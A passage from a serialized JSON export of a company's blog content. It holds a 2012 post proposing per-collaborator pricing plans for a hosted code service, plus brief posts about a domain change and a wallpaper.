and business. The business plan would get access to tools to quickly manage multiple people like groups and teams. Groups of projects will be introduced in Gitlab 3.0 and the introduction of teams of people is on the readmap. Two different plans would allow us to charge a **lower price** for people that use Gitlab without these tools. Considering the above, I think of the following pricing model:\n- **Unlimited repositories**\n- **Unlimited disk space**\n- The price is based on the **number of collaborators on the private repo** with the most collaborators.\n- For each plan the first **2 collaborators are free**, in this case you pay nothing.\n- The **professional** plan (what is currently online for the beta test) is **$3 per additional user** per month (i.e. 5 collaborators are $9 per month).\n- The business edition plan, which has groups and teams, is** $9 per additional user** (i.e. 10 collaborators are $72 per month).\n- There will be a 1 month** free trail**.\n\nWhat do you think we should do for our **beta users?** Maybe a discount, a free period or something else, please let me know what you think. We also want to encourage people to **participate** in the Gitlab open source project. Maybe we can give [ everyone that committed to the project](https://github.com/gitlabhq/gitlabhq/graphs/contributors) a credit of $100? Please let me know what you think about the pricing plans, the amounts, the naming, the goals, the free tier, the beta user discount, etc. Please **comment on this post**.\n",{"slug":40811,"featured":6,"template":678},"gitlab-com-pricing-thoughts","content:en-us:blog:gitlab-com-pricing-thoughts.yml","Gitlab Com Pricing Thoughts","en-us/blog/gitlab-com-pricing-thoughts.yml","en-us/blog/gitlab-com-pricing-thoughts",{"_path":40817,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40818,"content":40823,"config":40827,"_id":40829,"_type":16,"title":40830,"_source":17,"_file":40831,"_stem":40832,"_extension":20},"/en-us/blog/gitlab-io-is-now-gitlab-com",{"title":40819,"description":40820,"ogTitle":40819,"ogDescription":40820,"noIndex":6,"ogImage":6704,"ogUrl":40821,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40821,"schema":40822},"Gitlab.io is now Gitlab.com","Since announcing Gitlab.io, we've acquired the Gitlab.com domain name.","https://about.gitlab.com/blog/gitlab-io-is-now-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Gitlab.io is now Gitlab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2012-09-03\",\n      }",{"title":40819,"description":40820,"authors":40824,"heroImage":6704,"date":40825,"body":40826,"category":299},[711],"2012-09-03","Since announcing Gitlab.io, we've acquired the Gitlab.com domain name. From now on, we'll call this project Gitlab.com and keep you posted via [blog.gitlab.com](https://about.gitlab.com/blog/) and [our twitter account](https://twitter.com/gitlab).",{"slug":40828,"featured":6,"template":678},"gitlab-io-is-now-gitlab-com","content:en-us:blog:gitlab-io-is-now-gitlab-com.yml","Gitlab Io Is Now Gitlab Com","en-us/blog/gitlab-io-is-now-gitlab-com.yml","en-us/blog/gitlab-io-is-now-gitlab-com",{"_path":40834,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40835,"content":40840,"config":40844,"_id":40846,"_type":16,"title":40847,"_source":17,"_file":40848,"_stem":40849,"_extension":20},"/en-us/blog/gitlab-wallpaper",{"title":40836,"description":40837,"ogTitle":40836,"ogDescription":40837,"noIndex":6,"ogImage":6704,"ogUrl":40838,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40838,"schema":40839},"GITLAB Wallpaper","See the GitLab wallpaper","https://about.gitlab.com/blog/gitlab-wallpaper","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GITLAB Wallpaper\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2012-06-20\",\n      }",{"title":40836,"description":40837,"authors":40841,"heroImage":6704,"date":40842,"body":40843,"category":299},[711],"2012-06-20","\n![Wallpaper](https://about.gitlab.com/images/gitlab.jpg)\n",{"slug":40845,"featured":6,"template":678},"gitlab-wallpaper","content:en-us:blog:gitlab-wallpaper.yml","Gitlab Wallpaper","en-us/blog/gitlab-wallpaper.yml","en-us/blog/gitlab-wallpaper",1753475313239]